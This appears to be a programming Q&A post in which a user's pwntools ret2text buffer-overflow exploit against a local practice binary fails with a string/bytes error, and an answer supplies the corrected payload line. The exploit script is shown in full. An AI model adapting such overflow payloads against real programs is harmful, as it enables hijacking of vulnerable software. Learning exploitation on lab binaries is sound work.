I am trying to run the following exploit but i am getting the error mentioned above.

#!/usr/bin/env python

from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * 108 + "junk" + p32(target))
sh.interactive()

I expected this to run correctly but i am getting the error in sh.sendline

1

There are 1 answers

0
Barmar On

The argument to sh.sendline() must be a byte string, not a text string. p32() returns a byte string, but you're trying to concatenate text strings to it. Make them byte strings as well.

sh.sendline(b'A' * 108 + b"junk" + p32(target))